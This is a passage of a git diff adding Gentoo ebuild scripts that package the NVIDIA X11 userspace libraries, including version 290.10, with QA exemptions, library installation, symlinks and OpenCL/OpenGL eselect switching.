+	usr/lib32/libnvidia-compiler.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib32/libvdpau_nvidia.so.${PV}
+	usr/lib32/libcuda.so.${PV}
+	usr/lib32/libOpenCL.so.1.0.0
+	usr/lib64/libnvidia-compiler.so.${PV}
+	usr/lib64/libXvMCNVIDIA.a:NVXVMC.o
+	usr/lib64/libnvidia-cfg.so.${PV}
+	usr/lib64/libnvidia-ml.so.${PV}
+	usr/lib64/libvdpau_nvidia.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib64/libnvidia-glcore.so.${PV}
+	usr/lib64/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib64/libXvMCNVIDIA.so.${PV}
+	usr/lib64/libcuda.so.${PV}
+	usr/lib64/libOpenCL.so.1.0.0
+	usr/lib64/xorg/modules/drivers/nvidia_drv.so
+	usr/bin/nvidia-smi
+	usr/bin/nvidia-xconfig
+	usr/bin/nvidia-settings"
+
+QA_WX_LOAD_x86="usr/lib/libnvidia-glcore.so.${PV}
+	usr/lib/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib/libXvMCNVIDIA.a
+	usr/lib64/libXvMCNVIDIA.so.${PV}"
+
+QA_WX_LOAD_amd64="usr/lib32/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib32/libnvidia-glcore.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib64/libnvidia-glcore.so.${PV}
+	usr/lib64/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib64/libXvMCNVIDIA.so.${PV}"
+
+QA_SONAME_x86="usr/lib/libnvidia-compiler.so.${PV}"
+
+QA_SONAME_amd64="usr/lib64/libnvidia-compiler.so.${PV}
+	usr/lib32/libnvidia-compiler.so.${PV}"
+
+QA_DT_HASH_amd64="usr/lib32/libcuda.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib32/libnvidia-glcore.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib32/libvdpau_nvidia.so.${PV}
+	usr/lib32/libOpenCL.so.1.0.0
+	usr/lib32/libnvidia-compiler.so.${PV}
+	usr/lib64/libXvMCNVIDIA.so.${PV}
+	usr/lib64/libcuda.so.${PV}
+	usr/lib64/libnvidia-cfg.so.${PV}
+	usr/lib64/libnvidia-glcore.so.${PV}
+	usr/lib64/libnvidia-ml.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib64/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib64/xorg/modules/drivers/nvidia_drv.so
+	usr/lib64/libvdpau_nvidia.so.${PV}
+	usr/lib64/libOpenCL.so.1.0.0
+	usr/lib64/libnvidia-compiler.so.${PV}
+	usr/lib64/libnvcuvid.so.${PV}
+	usr/bin/nvidia-smi
+	usr/bin/nvidia-xconfig
+	usr/bin/nvidia-settings"
+
+QA_DT_HASH_x86="usr/lib/libcuda.so.${PV}
+	usr/lib/libnvidia-cfg.so.${PV}
+	usr/lib/libnvidia-glcore.so.${PV}
+	usr/lib/libnvidia-ml.so.${PV}
+	usr/lib/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib/xorg/modules/drivers/nvidia_drv.so
+	usr/lib/libXvMCNVIDIA.so.${PV}
+	usr/lib/libvdpau_nvidia.so.${PV}
+	usr/lib/libOpenCL.so.1.0.0
+	usr/lib/libnvidia-compiler.so.${PV}
+	usr/lib/libnvcuvid.so.${PV}
+	usr/bin/nvidia-smi
+	usr/bin/nvidia-xconfig
+	usr/bin/nvidia-settings"
+
+
+S="${WORKDIR}/"
+
+pkg_setup() {
+	# try to turn off distcc and ccache for people that have a problem with it
+	export DISTCC_DISABLE=1
+	export CCACHE_DISABLE=1
+
+	if use amd64 && has_multilib_profile && [ "${DEFAULT_ABI}" != "amd64" ]; then
+		eerror "This ebuild doesn't currently support changing your default abi."
+		die "Unexpected \${DEFAULT_ABI} = ${DEFAULT_ABI}"
+	fi
+
+	# On BSD userland it wants real make command
+	use userland_BSD && MAKE="$(get_bmake)"
+
+	export _POSIX2_VERSION="199209"
+
+	# set variables to where files are in the package structure
+	if use kernel_FreeBSD; then
+		NV_DOC="${S}/doc"
+		NV_EXEC="${S}/obj"
+		NV_LIB="${S}/obj"
+		NV_SRC="${S}/src"
+		NV_MAN="${S}/x11/man"
+		NV_X11="${S}/obj"
+		NV_X11_DRV="${NV_X11}"
+		NV_X11_EXT="${NV_X11}"
+		NV_SOVER=1
+	elif use kernel_linux; then
+		NV_DOC="${S}"
+		NV_EXEC="${S}"
+		NV_LIB="${S}"
+		NV_SRC="${S}/kernel"
+		NV_MAN="${S}"
+		NV_X11="${S}"
+		NV_X11_DRV="${NV_X11}"
+		NV_X11_EXT="${NV_X11}"
+		NV_SOVER=${PV}
+	else
+		die "Could not determine proper NVIDIA package"
+	fi
+}
+
+src_unpack() {
+	if ! use x86-fbsd; then
+		cd "${S}"
+		unpack_makeself
+	else
+		unpack ${A}
+	fi
+}
+
+src_prepare() {
+	# Please add a brief description for every added patch
+	use x86-fbsd && cd doc
+}
+
+src_compile() {
+	# This is already the default on Linux, as there's no toplevel Makefile, but
+	# on FreeBSD there's one and triggers the kernel module build, as we install
+	# it by itself, pass this.
+
+	cd "${NV_SRC}"
+	if use x86-fbsd; then
+		MAKE="$(get_bmake)" CFLAGS="-Wno-sign-compare" emake CC="$(tc-getCC)" \
+			LD="$(tc-getLD)" LDFLAGS="$(raw-ldflags)" || die
+	fi
+}
+
+src_install() {
+	if use kernel_linux; then
+		VIDEOGROUP="$(egetent group video | cut -d ':' -f 3)"
+		if [ -z "$VIDEOGROUP" ]; then
+			eerror "Failed to determine the video group gid."
+			die "Failed to determine the video group gid."
+		fi
+
+		# Add the aliases
+		[ -f "${FILESDIR}/nvidia-169.07" ] || die "nvidia missing in FILESDIR"
+		sed -e 's:PACKAGE:'${PF}':g' \
+			-e 's:VIDEOGID:'${VIDEOGROUP}':' "${FILESDIR}"/nvidia-169.07 > \
+			"${WORKDIR}"/nvidia
+		insinto /etc/modprobe.d
+		newins "${WORKDIR}"/nvidia nvidia.conf || die
+	fi
+
+	# NVIDIA kernel <-> userspace driver config lib
+	dolib.so ${NV_LIB}/libnvidia-cfg.so.${NV_SOVER} || \
+		die "failed to install libnvidia-cfg"
+	dosym /usr/$(get_libdir)/libnvidia-cfg.so.${NV_SOVER} \
+		/usr/$(get_libdir)/libnvidia-cfg.so || \
+		die "failed to create libnvidia-cfg.so symlink"
+
+	# NVIDIA monitoring library
+	dolib.so ${NV_LIB}/libnvidia-ml.so.${NV_SOVER} || \
+		die "failed to install libnvidia-ml"
+	dosym /usr/$(get_libdir)/libnvidia-ml.so.${NV_SOVER} \
+		/usr/$(get_libdir)/libnvidia-ml.so || \
+		die "failed to create libnvidia-ml.so symlink"
+
+	# NVIDIA video decode <-> CUDA
+	dolib.so ${NV_LIB}/libnvcuvid.so.${NV_SOVER} || \
+		die "failed to install libnvcuvid.so"
+	dosym /usr/$(get_libdir)/libnvcuvid.so.${NV_SOVER} \
+		/usr/$(get_libdir)/libnvcuvid.so || \
+		die "failed to create libnvcuvid.so symlink"
+
+	# Xorg DDX driver
+	insinto /usr/$(get_libdir)/xorg/modules/drivers
+	doins ${NV_X11_DRV}/nvidia_drv.so || die "failed to install nvidia_drv.so"
+
+	# Xorg GLX driver
+	insinto /usr/$(get_libdir)/opengl/nvidia/extensions
+	doins ${NV_X11_EXT}/libglx.so.${NV_SOVER} || \
+		die "failed to install libglx.so"
+	dosym /usr/$(get_libdir)/opengl/nvidia/extensions/libglx.so.${NV_SOVER} \
+		/usr/$(get_libdir)/opengl/nvidia/extensions/libglx.so || \
+		die "failed to create libglx.so symlink"
+
+	# XvMC driver
+	dolib.a ${NV_X11}/libXvMCNVIDIA.a || \
+		die "failed to install libXvMCNVIDIA.so"
+	dolib.so ${NV_X11}/libXvMCNVIDIA.so.${NV_SOVER} || \
+		die "failed to install libXvMCNVIDIA.so"
+	dosym libXvMCNVIDIA.so.${NV_SOVER} /usr/$(get_libdir)/libXvMCNVIDIA.so || \
+		die "failed to create libXvMCNVIDIA.so symlink"
+
+	# OpenCL ICD for NVIDIA
+	if use kernel_linux; then
+		dodir /etc/OpenCL/vendors
+		insinto /etc/OpenCL/vendors
+		doins nvidia.icd
+	fi
+
+	# Documentation
+	dohtml ${NV_DOC}/html/*
+	if use x86-fbsd; then
+		dodoc "${NV_DOC}/README"
+		doman "${NV_MAN}/nvidia-xconfig.1"
+	else
+		# Docs
+		newdoc "${NV_DOC}/README.txt" README
+		dodoc "${NV_DOC}/NVIDIA_Changelog"
+		doman "${NV_MAN}/nvidia-smi.1.gz"
+		doman "${NV_MAN}/nvidia-xconfig.1.gz"
+	fi
+
+	# Helper Apps
+	dobin ${NV_EXEC}/nvidia-xconfig || die
+	dobin ${NV_EXEC}/nvidia-bug-report.sh || die
+	if use kernel_linux; then
+		dobin ${NV_EXEC}/nvidia-smi || die
+	fi
+
+	if has_multilib_profile ; then
+		local OABI=${ABI}
+		for ABI in $(get_install_abis) ; do
+			src_install-libs
+		done
+		ABI=${OABI}
+		unset OABI
+	else
+		src_install-libs
+	fi
+
+	is_final_abi || die "failed to iterate through all ABIs"
+}
+
+# Install nvidia library:
+# the first parameter is the place where to install it
+# the second parameter is the base name of the library
+# the third parameter is the provided soversion
+donvidia() {
+	dodir $1
+	exeinto $1
+
+	libname=$(basename $2)
+
+	doexe $2.$3 || die "failed to install $2"
+	dosym ${libname}.$3 $1/${libname} || die "failed to symlink $2"
+	[[ $3 != "1" ]] && dosym ${libname}.$3 $1/${libname}.1
+}
+
+src_install-libs() {
+	local inslibdir=$(get_libdir)
+	local NV_ROOT="/usr/${inslibdir}/opengl/nvidia"
+	local libdir= sover=
+
+	if use kernel_linux; then
+		if has_multilib_profile && [[ ${ABI} == "x86" ]] ; then
+			libdir=32
+		else
+			libdir=.
+		fi
+		sover=${PV}
+	else
+		libdir=obj
+		# on FreeBSD it has just .1 suffix
+		sover=1
+	fi
+
+	# The GLX libraries
+	donvidia ${NV_ROOT}/lib ${libdir}/libGL.so ${sover}
+	donvidia /usr/${inslibdir} ${libdir}/libnvidia-glcore.so ${sover}
+	if use x86-fbsd; then
+		donvidia ${NV_ROOT}/lib ${libdir}/libnvidia-tls.so ${sover}
+	else
+		donvidia ${NV_ROOT}/lib ${libdir}/tls/libnvidia-tls.so ${sover}
+	fi
+
+	# VDPAU
+	donvidia /usr/${inslibdir} ${libdir}/libvdpau_nvidia.so ${sover}
+
+	# CUDA & OpenCL
+	if use kernel_linux; then
+		donvidia /usr/${inslibdir} ${libdir}/libcuda.so ${sover}
+		donvidia /usr/${inslibdir} ${libdir}/libnvidia-compiler.so ${sover}
+		donvidia /usr/${inslibdir} ${libdir}/libOpenCL.so 1.0.0
+		dosym libOpenCL.so.1 /usr/${inslibdir}/libOpenCL.so
+	fi
+}
+
+pkg_preinst() {
+	# Clean the dynamic libGL stuff's home to ensure
+	# we dont have stale libs floating around
+	if [ -d "${ROOT}"/usr/lib/opengl/nvidia ] ; then
+		rm -rf "${ROOT}"/usr/lib/opengl/nvidia/*
+	fi
+	# Make sure we nuke the old nvidia-glx's env.d file
+	if [ -e "${ROOT}"/etc/env.d/09nvidia ] ; then
+		rm -f "${ROOT}"/etc/env.d/09nvidia
+	fi
+}
+
+pkg_postinst() {
+	# Switch to the nvidia implementation
+	eselect opengl set --use-old nvidia
+
+	elog "To use the NVIDIA GLX, run \"eselect opengl set nvidia\""
+	elog
+	elog "NVIDIA has requested that any bug reports submitted have the"
+	elog "output of /usr/bin/nvidia-bug-report.sh included."
+	elog
+	elog "To work with compiz, you must enable the AddARGBGLXVisuals option."
+	elog
+	elog "If you are having resolution problems, try disabling DynamicTwinView."
+	elog
+}
+
+pkg_postrm() {
+	eselect opengl set --use-old xorg-x11
+}
diff --git a/x11-drivers/nvidia-userspace/nvidia-userspace-290.10.ebuild b/x11-drivers/nvidia-userspace/nvidia-userspace-290.10.ebuild
new file mode 100644
index 00000000..b893f2d7
--- /dev/null
+++ b/x11-drivers/nvidia-userspace/nvidia-userspace-290.10.ebuild
@@ -0,0 +1,436 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="2"
+
+inherit eutils unpacker multilib portability versionator flag-o-matic
+
+X86_NV_PACKAGE="NVIDIA-Linux-x86-${PV}"
+AMD64_NV_PACKAGE="NVIDIA-Linux-x86_64-${PV}"
+X86_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86-${PV}"
+
+DESCRIPTION="NVIDIA X11 userspace libraries and applications"
+HOMEPAGE="http://www.nvidia.com/"
+SRC_URI="x86? ( http://download.nvidia.com/XFree86/Linux-x86/${PV}/${X86_NV_PACKAGE}.run )
+	 amd64? ( http://download.nvidia.com/XFree86/Linux-x86_64/${PV}/${AMD64_NV_PACKAGE}.run )
+	 x86-fbsd? ( http://download.nvidia.com/XFree86/FreeBSD-x86/${PV}/${X86_FBSD_NV_PACKAGE}.tar.gz )"
+
+LICENSE="NVIDIA"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86 ~x86-fbsd"
+IUSE="multilib kernel_linux"
+RESTRICT="strip"
+EMULTILIB_PKG="true"
+
+COMMON="<x11-base/xorg-server-1.11.99
+	kernel_linux? ( >=sys-libs/glibc-2.6.1 )
+	multilib? ( app-emulation/emul-linux-x86-xlibs )
+	>=app-admin/eselect-opengl-1.0.9
+	app-admin/eselect-opencl
+	!<media-video/nvidia-settings-256.52"
+DEPEND="${COMMON}"
+RDEPEND="${COMMON}
+	x11-libs/libXvMC
+        !<x11-drivers/nvidia-userspace-${PV}
+        !>x11-drivers/nvidia-userspace-${PV}"
+PDEPEND=">=x11-libs/libvdpau-0.3-r1"
+
+QA_TEXTRELS_x86="
+	usr/lib/OpenCL/vendors/nvidia/libOpenCL.so.1.0.0
+	usr/lib/libXvMCNVIDIA.so.${PV}
+	usr/lib/libcuda.so.${PV}
+	usr/lib/libnvcuvid.so.${PV}
+	usr/lib/libnvidia-cfg.so.${PV}
+	usr/lib/libnvidia-compiler.so.${PV}
+	usr/lib/libnvidia-glcore.so.${PV}
+	usr/lib/libnvidia-ml.so.${PV}
+	usr/lib/libvdpau_nvidia.so.${PV}
+	usr/lib/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib/xorg/modules/drivers/nvidia_drv.so"
+
+QA_TEXTRELS_x86_fbsd="boot/modules/nvidia.ko
+	usr/lib/opengl/nvidia/lib/libGL.so.1
+	usr/lib/libnvidia-glcore.so.1
+	usr/lib/libnvidia-cfg.so.1
+	usr/lib/libnvidia-ml.so.1
+	usr/lib/opengl/nvidia/extensions/libglx.so.1
+	usr/lib/xorg/modules/drivers/nvidia_drv.so"
+
+QA_TEXTRELS_amd64="usr/lib32/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib32/libnvidia-glcore.so.${PV}
+	usr/lib32/libvdpau_nvidia.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib32/libcuda.so.${PV}
+	usr/lib32/OpenCL/vendors/nvidia/libOpenCL.so.1.0.0
+	usr/lib32/libnvidia-compiler.so.${PV}"
+
+QA_EXECSTACK_x86="usr/lib/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib/libnvidia-glcore.so.${PV}
+	usr/lib/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib64/libXvMCNVIDIA.so.${PV}
+	usr/lib/libXvMCNVIDIA.a:NVXVMC.o
+	usr/lib/libvdpau_nvidia.so.${PV}
+	usr/lib/libnvidia-compiler.so.${PV}
+	usr/lib/libcuda.so.${PV}
+	usr/lib/OpenCL/vendors/nvidia/libOpenCL.so.1.0.0"
+
+QA_EXECSTACK_amd64="usr/lib32/libnvidia-glcore.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib32/libvdpau_nvidia.so.${PV}
+	usr/lib32/libcuda.so.${PV}
+	usr/lib32/OpenCL/vendors/nvidia/libOpenCL.so.1.0.0
+	usr/lib32/libnvidia-compiler.so.${PV}
+	usr/lib64/libXvMCNVIDIA.a:NVXVMC.o
+	usr/lib64/libnvidia-cfg.so.${PV}
+	usr/lib64/libnvidia-ml.so.${PV}
+	usr/lib64/libvdpau_nvidia.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib64/libnvidia-glcore.so.${PV}
+	usr/lib64/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib64/libXvMCNVIDIA.so.${PV}
+	usr/lib64/libcuda.so.${PV}
+	usr/lib64/OpenCL/vendors/nvidia/libOpenCL.so.1.0.0
+	usr/lib64/libnvidia-compiler.so.${PV}
+	usr/lib64/xorg/modules/drivers/nvidia_drv.so
+	usr/bin/nvidia-smi
+	usr/bin/nvidia-xconfig
+	usr/bin/nvidia-settings"
+
+QA_WX_LOAD_x86="usr/lib/libnvidia-glcore.so.${PV}
+	usr/lib/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib/libXvMCNVIDIA.a
+	usr/lib64/libXvMCNVIDIA.so.${PV}"
+
+QA_WX_LOAD_amd64="usr/lib32/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib32/libnvidia-glcore.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib64/libnvidia-glcore.so.${PV}
+	usr/lib64/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib64/libXvMCNVIDIA.so.${PV}"
+
+QA_SONAME_x86="usr/lib/libnvidia-compiler.so.${PV}"
+
+QA_SONAME_amd64="usr/lib64/libnvidia-compiler.so.${PV}
+	usr/lib32/libnvidia-compiler.so.${PV}"
+
+QA_DT_HASH_amd64="usr/lib32/libcuda.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib32/libnvidia-glcore.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib32/libvdpau_nvidia.so.${PV}
+	usr/lib32/OpenCL/vendors/nvidia/libOpenCL.so.1.0.0
+	usr/lib32/libnvidia-compiler.so.${PV}
+	usr/lib64/libXvMCNVIDIA.so.${PV}
+	usr/lib64/libcuda.so.${PV}
+	usr/lib64/libnvidia-cfg.so.${PV}
+	usr/lib64/libnvidia-glcore.so.${PV}
+	usr/lib64/libnvidia-ml.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib64/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib64/xorg/modules/drivers/nvidia_drv.so
+	usr/lib64/libvdpau_nvidia.so.${PV}
+	usr/lib64/OpenCL/vendors/nvidia/libOpenCL.so.1.0.0
+	usr/lib64/libnvidia-compiler.so.${PV}
+	usr/lib64/libnvcuvid.so.${PV}
+	usr/bin/nvidia-smi
+	usr/bin/nvidia-xconfig
+	usr/bin/nvidia-settings"
+
+QA_DT_HASH_x86="usr/lib/libcuda.so.${PV}
+	usr/lib/libnvidia-cfg.so.${PV}
+	usr/lib/libnvidia-glcore.so.${PV}
+	usr/lib/libnvidia-ml.so.${PV}
+	usr/lib/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib/xorg/modules/drivers/nvidia_drv.so
+	usr/lib/libXvMCNVIDIA.so.${PV}
+	usr/lib/libvdpau_nvidia.so.${PV}
+	usr/lib/OpenCL/vendors/nvidia/libOpenCL.so.1.0.0
+	usr/lib/libnvidia-compiler.so.${PV}
+	usr/lib/libnvcuvid.so.${PV}
+	usr/bin/nvidia-smi
+	usr/bin/nvidia-xconfig
+	usr/bin/nvidia-settings"
+
+
+S="${WORKDIR}/"
+
+pkg_setup() {
+	# try to turn off distcc and ccache for people that have a problem with it
+	export DISTCC_DISABLE=1
+	export CCACHE_DISABLE=1
+
+	if use amd64 && has_multilib_profile && [ "${DEFAULT_ABI}" != "amd64" ]; then
+		eerror "This ebuild doesn't currently support changing your default abi."
+		die "Unexpected \${DEFAULT_ABI} = ${DEFAULT_ABI}"
+	fi
+
+	# On BSD userland it wants real make command
+	use userland_BSD && MAKE="$(get_bmake)"
+
+	export _POSIX2_VERSION="199209"
+
+	# set variables to where files are in the package structure
+	if use kernel_FreeBSD; then
+		NV_DOC="${S}/doc"
+		NV_EXEC="${S}/obj"
+		NV_LIB="${S}/obj"
+		NV_SRC="${S}/src"
+		NV_MAN="${S}/x11/man"
+		NV_X11="${S}/obj"
+		NV_X11_DRV="${NV_X11}"
+		NV_X11_EXT="${NV_X11}"
+		NV_SOVER=1
+	elif use kernel_linux; then
+		NV_DOC="${S}"
+		NV_EXEC="${S}"
+		NV_LIB="${S}"
+		NV_SRC="${S}/kernel"
+		NV_MAN="${S}"
+		NV_X11="${S}"
+		NV_X11_DRV="${NV_X11}"
+		NV_X11_EXT="${NV_X11}"
+		NV_SOVER=${PV}
+	else
+		die "Could not determine proper NVIDIA package"
+	fi
+}
+
+src_unpack() {
+	if ! use x86-fbsd; then
+		cd "${S}"
+		unpack_makeself
+	else
+		unpack ${A}
+	fi
+}
+
+src_prepare() {
+	# Please add a brief description for every added patch
+	use x86-fbsd && cd doc
+}
+
+src_compile() {
+	# This is already the default on Linux, as there's no toplevel Makefile, but
+	# on FreeBSD there's one and triggers the kernel module build, as we install
+	# it by itself, pass this.
+
+	cd "${NV_SRC}"
+	if use x86-fbsd; then
+		MAKE="$(get_bmake)" CFLAGS="-Wno-sign-compare" emake CC="$(tc-getCC)" \
+			LD="$(tc-getLD)" LDFLAGS="$(raw-ldflags)" || die
+	fi
+	cat <<- EOF > "${S}"/nvidia.icd
+		/usr/$(get_libdir)/libcuda.so
+	EOF
+}
+
+src_install() {
+	if use kernel_linux; then
+		VIDEOGROUP="$(egetent group video | cut -d ':' -f 3)"
+		if [ -z "$VIDEOGROUP" ]; then
+			eerror "Failed to determine the video group gid."
+			die "Failed to determine the video group gid."
+		fi
+
+		# Add the aliases
+		[ -f "${FILESDIR}/nvidia-169.07" ] || die "nvidia missing in FILESDIR"
+		sed -e 's:PACKAGE:'${PF}':g' \
+			-e 's:VIDEOGID:'${VIDEOGROUP}':' "${FILESDIR}"/nvidia-169.07 > \
+			"${WORKDIR}"/nvidia
+		insinto /etc/modprobe.d
+		newins "${WORKDIR}"/nvidia nvidia.conf || die
+	fi
+
+	# NVIDIA kernel <-> userspace driver config lib
+	dolib.so ${NV_LIB}/libnvidia-cfg.so.${NV_SOVER} || \
+		die "failed to install libnvidia-cfg"
+	dosym libnvidia-cfg.so.${NV_SOVER} \
+		/usr/$(get_libdir)/libnvidia-cfg.so.1 || \
+		die "failed to create libnvidia-cfg.so symlink"
+	dosym libnvidia-cfg.so.1 \
+		/usr/$(get_libdir)/libnvidia-cfg.so || \
+		die "failed to create libnvidia-cfg.so symlink"
+
+	# NVIDIA monitoring library
+	dolib.so ${NV_LIB}/libnvidia-ml.so.${NV_SOVER} || \
+		die "failed to install libnvidia-ml"
+	dosym libnvidia-ml.so.${NV_SOVER} \
+		/usr/$(get_libdir)/libnvidia-ml.so.1 || \
+		die "failed to create libnvidia-ml.so symlink"
+	dosym libnvidia-ml.so.1 \
+		/usr/$(get_libdir)/libnvidia-ml.so || \
+		die "failed to create libnvidia-ml.so symlink"
+
+	# NVIDIA video decode <-> CUDA
+	dolib.so ${NV_LIB}/libnvcuvid.so.${NV_SOVER} || \
+		die "failed to install libnvcuvid.so"
+	dosym libnvcuvid.so.${NV_SOVER} \
+		/usr/$(get_libdir)/libnvcuvid.so.1 || \
+		die "failed to create libnvcuvid.so symlink"
+	dosym libnvcuvid.so.1 \
+		/usr/$(get_libdir)/libnvcuvid.so || \
+		die "failed to create libnvcuvid.so symlink"
+
+	# Xorg DDX driver
+	insinto /usr/$(get_libdir)/xorg/modules/drivers
+	doins ${NV_X11_DRV}/nvidia_drv.so || die "failed to install nvidia_drv.so"
+
+	# Xorg GLX driver
+	insinto /usr/$(get_libdir)/opengl/nvidia/extensions
+	doins ${NV_X11_EXT}/libglx.so.${NV_SOVER} || \
+		die "failed to install libglx.so"
+	dosym libglx.so.${NV_SOVER} \
+		/usr/$(get_libdir)/opengl/nvidia/extensions/libglx.so || \
+		die "failed to create libglx.so symlink"
+
+	# XvMC driver
+	dolib.a ${NV_X11}/libXvMCNVIDIA.a || \
+		die "failed to install libXvMCNVIDIA.so"
+	dolib.so ${NV_X11}/libXvMCNVIDIA.so.${NV_SOVER} || \
+		die "failed to install libXvMCNVIDIA.so"
+	dosym libXvMCNVIDIA.so.${NV_SOVER} \
+		/usr/$(get_libdir)/libXvMCNVIDIA.so.1 || \
+		die "failed to create libXvMCNVIDIA.so symlink"
+	dosym libXvMCNVIDIA.so.1 /usr/$(get_libdir)/libXvMCNVIDIA.so || \
+		die "failed to create libXvMCNVIDIA.so symlink"
+	dosym libXvMCNVIDIA.so.${NV_SOVER} \
+		/usr/$(get_libdir)/libXvMCNVIDIA_dynamic.so.1 || \
+		die "failed to create libXvMCNVIDIA_dynamic.so symlink"
+
+	# OpenCL ICD for NVIDIA
+	if use kernel_linux; then
+		insinto /etc/OpenCL/vendors
+		doins nvidia.icd
+	fi
+
+	# Documentation
+	dohtml ${NV_DOC}/html/*
+	if use x86-fbsd; then
+		dodoc "${NV_DOC}/README"
+		doman "${NV_MAN}/nvidia-xconfig.1"
+	else
+		# Docs
+		newdoc "${NV_DOC}/README.txt" README
+		dodoc "${NV_DOC}/NVIDIA_Changelog"
+		doman "${NV_MAN}/nvidia-smi.1.gz"
+		doman "${NV_MAN}/nvidia-xconfig.1.gz"
+	fi
+
+	# Helper Apps
+	dobin ${NV_EXEC}/nvidia-xconfig || die
+	dobin ${NV_EXEC}/nvidia-bug-report.sh || die
+	if use kernel_linux; then
+		dobin ${NV_EXEC}/nvidia-smi || die
+	fi
+
+	if has_multilib_profile ; then
+		local OABI=${ABI}
+		for ABI in $(get_install_abis) ; do
+			src_install-libs
+		done
+		ABI=${OABI}
+		unset OABI
+	else
+		src_install-libs
+	fi
+
+	is_final_abi || die "failed to iterate through all ABIs"
+}
+
+# Install nvidia library:
+# the first parameter is the place where to install it
+# the second parameter is the base name of the library
+# the third parameter is the provided soversion
+donvidia() {
+	dodir $1
+	exeinto $1
+
+	libname=$(basename $2)
+
+	doexe $2.$3 || die "failed to install $2"
+	dosym ${libname}.$3 $1/${libname} || die "failed to symlink $2"
+	[[ $3 != "1" ]] && dosym ${libname}.$3 $1/${libname}.1
+}
+
+src_install-libs() {
+	local inslibdir=$(get_libdir)
+	local NV_ROOT="/usr/${inslibdir}/opengl/nvidia"
+	local CL_ROOT=/usr/${inslibdir}/OpenCL/vendors/nvidia
+	local libdir= sover=
+
+	if use kernel_linux; then
+		if has_multilib_profile && [[ ${ABI} == "x86" ]] ; then
+			libdir=32
+		else
+			libdir=.
+		fi
+		sover=${PV}
+	else
+		libdir=obj
+		# on FreeBSD it has just .1 suffix
+		sover=1
+	fi
+
+	# The GLX libraries
+	donvidia ${NV_ROOT}/lib ${libdir}/libGL.so ${sover}
+	donvidia /usr/${inslibdir} ${libdir}/libnvidia-glcore.so ${sover}
+	if use x86-fbsd; then
+		donvidia ${NV_ROOT}/lib ${libdir}/libnvidia-tls.so ${sover}
+	else
+		donvidia ${NV_ROOT}/lib ${libdir}/tls/libnvidia-tls.so ${sover}
+	fi
+
+	# VDPAU
+	donvidia /usr/${inslibdir} ${libdir}/libvdpau_nvidia.so ${sover}
+
+	# CUDA & OpenCL
+	if use kernel_linux; then
+		donvidia /usr/${inslibdir} ${libdir}/libcuda.so ${sover}
+		donvidia /usr/${inslibdir} ${libdir}/libnvidia-compiler.so ${sover}
+		donvidia ${CL_ROOT} ${libdir}/libOpenCL.so 1.0.0
+		#dosym libOpenCL.so.1 ${CL_ROOT}/libOpenCL.so
+	fi
+}
+
+pkg_preinst() {
+	# Clean the dynamic libGL stuff's home to ensure
+	# we dont have stale libs floating around
+	if [ -d "${ROOT}"/usr/lib/opengl/nvidia ] ; then
+		rm -rf "${ROOT}"/usr/lib/opengl/nvidia/*
+	fi
+	# Make sure we nuke the old nvidia-glx's env.d file
+	if [ -e "${ROOT}"/etc/env.d/09nvidia ] ; then
+		rm -f "${ROOT}"/etc/env.d/09nvidia
+	fi
+}
+
+pkg_postinst() {
+	# Switch to the nvidia implementation
+	eselect opengl set --use-old nvidia
+	eselect opencl set --use-old nvidia
+
+	elog "To use the NVIDIA GLX, run \"eselect opengl set nvidia\""
+	elog
+	elog "To use the NVIDIA CUDA/OpenCL, run \"eselect opencl set nvidia\""
+	elog
+	elog "NVIDIA has requested that any bug reports submitted have the"
